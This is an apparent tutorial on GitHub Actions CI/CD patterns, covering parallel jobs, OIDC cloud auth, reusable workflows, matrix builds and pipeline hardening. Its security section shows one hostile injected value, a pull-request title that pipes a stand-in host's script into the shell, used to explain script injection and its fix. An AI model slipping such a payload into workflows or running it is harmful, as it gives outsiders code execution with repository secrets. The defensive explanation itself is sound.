Workflows That Ship, Not Just Run

GitHub Actions can do everything from running tests to deploying to production to rotating secrets. Most teams use it for the first and ignore the rest. Below are the patterns that make CI/CD actually useful in production: reusable workflows, OIDC for keyless cloud auth, concurrency controls, and the job architecture that keeps feedback fast.

Common gaps in CI/CD workflows
  • Your workflows copy-paste the same 30 lines across every repo
  • You have long-lived AWS/GCP credentials stored in GitHub secrets
  • PRs queue up because two concurrent runs fight over the same environment
  • Your test job has to wait for linting before it starts, even though they're independent

Reusable workflows, OIDC, and proper job parallelisation shorten pipelines and remove stored cloud keys, along with the chore of rotating them.

Workflow Architecture


flowchart LR
    trigger["Push / PR"] --> validate
    validate["validate
(lint + type-check)"] --> test
    validate --> build
    test["test
(unit + integration)"] --> e2e
    build["build
(Docker image)"] --> e2e
    e2e["e2e
(Playwright)"] --> deploy
    deploy["deploy
(staging/prod)"]

    style validate fill:#0078D4,color:#fff,stroke:#005a9e
    style test fill:#0078D4,color:#fff,stroke:#005a9e
    style build fill:#0078D4,color:#fff,stroke:#005a9e
# .github/workflows/ci.yml
name: CI

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# Cancel in-progress runs for the same branch/PR
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: '24'
          cache: 'pnpm'
      - run: pnpm install --frozen-lockfile
      - run: pnpm lint
      - run: pnpm typecheck

  test:
    runs-on: ubuntu-latest
    # Run in parallel with validate — doesn't wait for it
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: '24'
          cache: 'pnpm'
      - run: pnpm install --frozen-lockfile
      - run: pnpm test --coverage
      - uses: codecov/codecov-action@v7

  build:
    needs: [validate, test]
    runs-on: ubuntu-latest
    outputs:
      image-tag: ${{ steps.meta.outputs.tags }}
    steps:
      - uses: actions/checkout@v7
      - id: meta
        uses: docker/metadata-action@v6
        with:
          images: ghcr.io/${{ github.repository }}
          tags: |
            type=sha,prefix=,suffix=,format=short
      - uses: docker/build-push-action@v7
        with:
          push: ${{ github.ref == 'refs/heads/main' }}
          tags: ${{ steps.meta.outputs.tags }}

OIDC: Keyless Cloud Authentication

Instead of storing long-lived cloud credentials in GitHub secrets, OIDC exchanges a short-lived GitHub token for a temporary cloud role. No secrets to rotate, no leaked credentials, automatic expiry.

# GitHub workflow — OIDC with AWS
name: Deploy

permissions:
  id-token: write  # Required for OIDC
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      
      # Exchange GitHub token for AWS credentials — no secrets stored in GitHub
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: arn:aws:iam::123456789:role/GitHubActionsRole
          aws-region: us-east-1
      
      # Now AWS CLI works without any stored credentials
      - run: aws s3 sync ./dist s3://my-bucket/
// AWS IAM Role trust policy — only allows GitHub repo to assume it
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          // Only allow from specific repo and branch
          "token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

Reusable Workflows

Reusable workflows are called with uses: ./.github/workflows/file.yml and accept inputs + secrets. Extract your common build/test sequence once; every repo calls it.

# .github/workflows/build-and-push.yml — reusable workflow
name: Build and Push Docker Image

on:
  workflow_call:
    inputs:
      image-name:
        required: true
        type: string
      dockerfile:
        required: false
        type: string
        default: './Dockerfile'
    secrets:
      registry-token:
        required: true
    outputs:
      image-tag:
        description: The pushed image tag
        value: ${{ jobs.build.outputs.image-tag }}

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      image-tag: ${{ steps.meta.outputs.version }}
    steps:
      - uses: actions/checkout@v7
      - id: meta
        uses: docker/metadata-action@v6
        with:
          images: ghcr.io/${{ inputs.image-name }}
      - uses: docker/login-action@v4
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.registry-token }}
      - uses: docker/build-push-action@v7
        with:
          file: ${{ inputs.dockerfile }}
          push: true
          tags: ${{ steps.meta.outputs.tags }}

---
# Calling the reusable workflow from another repo's CI
jobs:
  build:
    uses: your-org/.github/.github/workflows/build-and-push.yml@main
    with:
      image-name: my-service
    secrets:
      registry-token: ${{ secrets.GITHUB_TOKEN }}

Environment Protection Rules

# .github/workflows/deploy.yml
jobs:
  deploy-staging:
    environment: staging  # environment must be defined in repo Settings
    runs-on: ubuntu-latest
    steps:
      - run: deploy to staging

  deploy-production:
    needs: deploy-staging
    environment: production  # has required reviewers configured in Settings
    runs-on: ubuntu-latest
    steps:
      - run: deploy to production
      # Will pause here and request approval before running
      # Uses environment secrets (separate from repo secrets)

Matrix Builds

jobs:
  test:
    strategy:
      fail-fast: false  # don't cancel other matrix jobs if one fails
      matrix:
        node: ['20', '22', '24']
        os: [ubuntu-latest, windows-latest]
        exclude:
          - os: windows-latest
            node: '20'  # skip this combination
    
    runs-on: ${{ matrix.os }}
    name: Test (Node ${{ matrix.node }} on ${{ matrix.os }})
    
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: ${{ matrix.node }}
      - run: npm test

Timeouts, Pinned Actions, and Manual Runs

Three small additions prevent a disproportionate share of workflow problems: a job that hangs for hours, a third-party action that changed under its tag, and a deployment that can only be triggered by pushing a commit.

on:
  push:
    branches: [main]
  workflow_dispatch:                 # adds a Run workflow button, with typed inputs
    inputs:
      environment:
        type: choice
        options: [staging, production]
        default: staging

jobs:
  deploy:
    runs-on: ubuntu-latest
    timeout-minutes: 15              # the default is six hours
    steps:
      - uses: actions/checkout@v7
      # third-party actions: pin to a full commit SHA, not a tag
      - uses: some-org/deploy-action@3f1c0a2b9d8e7f6a5b4c3d2e1f0a9b8c7d6e5f4a
        with:
          environment: ${{ inputs.environment || 'staging' }}
  • Set timeout-minutes on every job. A hung test or a stalled network call otherwise holds a runner, and your minutes, for up to six hours.
  • Pin third-party actions to a commit SHA. A tag can be moved to different code and a SHA cannot. Let Dependabot or Renovate raise the update pull requests, so pinning does not turn into never upgrading.
  • Add workflow_dispatch to deployment workflows. Being able to re-run a deployment, or roll one back, without inventing a commit is worth having before the day you need it.

Your Pipeline Is Production Infrastructure

A workflow that can deploy to production, or that holds a token that can, is as valuable to an attacker as the production environment itself. Two mistakes account for most real compromises, and neither looks dangerous in a code review.

Script injection. Expressions are substituted into a run script before the shell sees it. Interpolate a pull request title directly, and a title such as "; curl evil.sh | sh; echo " becomes part of your script:

# Vulnerable: the title is pasted into the shell script
- run: echo "Checking ${{ github.event.pull_request.title }}"

# Safe: pass untrusted input through an environment variable
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking $PR_TITLE"

Treat every field an outsider can set (titles, branch names, commit messages, issue bodies) as untrusted, and only ever pass it throughenv.

pull_request_target with a checkout of the PR.This trigger runs in the context of the base repository, with its secrets and a writable token, so that workflows can label or comment on pull requests from forks. Combine it with checking out and building the fork’s code, and you are running a stranger’s code with your secrets. If you need to build fork code, usepull_request, which gets no secrets; keep pull_request_target for jobs that never execute the contributed code.

Underneath both, set permissions at the top of every workflow to the least it needs (often contents: read) and grant more per job. A leaked token that can only read the repository is a much smaller incident than one that can push to it.

Making a Slow Pipeline Fast

A pipeline that takes twenty minutes changes how a team works: people batch changes, merge without waiting, and stop trusting red builds. Before optimising, look at where the time goes. The run summary shows the duration of every job and step; the slowest one or two usually account for most of the total.

  • Dependency install: cache the package manager store keyed on the lockfile hash. A cache hit turns minutes into seconds, and actions/setup-node can do it with one cache input.
  • Test suites: shard across a matrix (most runners support a shard flag, such as --shard=1/4), so four machines each run a quarter. Watch for one slow test file that ends up dominating a shard.
  • Unchanged code: use paths filters so a documentation change does not run the full backend suite.
  • Ordering: run lint and type checks first, in parallel with the build, so the cheapest failures report in the first minute.

Pitfalls

secrets.GITHUB_TOKEN vs personal tokens

GITHUB_TOKENis automatically provided and scoped to the current repo. It can't trigger other workflows (prevents infinite loops). If you need cross-repo dispatch or to trigger workflows from a workflow, use a PAT or a GitHub App token.

Cache invalidation

The cache: 'pnpm' in setup-node caches node_modules by lockfile hash. If your build artifacts need caching separately (e.g., Next.js .next/cache), add an explicit actions/cache step with a key that includes a hash of your source files.

Workflow expressions vs JavaScript

$${{ }}expressions are evaluated in a sandboxed context — they're not JavaScript. They have a limited set of functions (contains, startsWith, toJSON, etc.) and different truthiness rules. Don't mix them up with shell conditionals.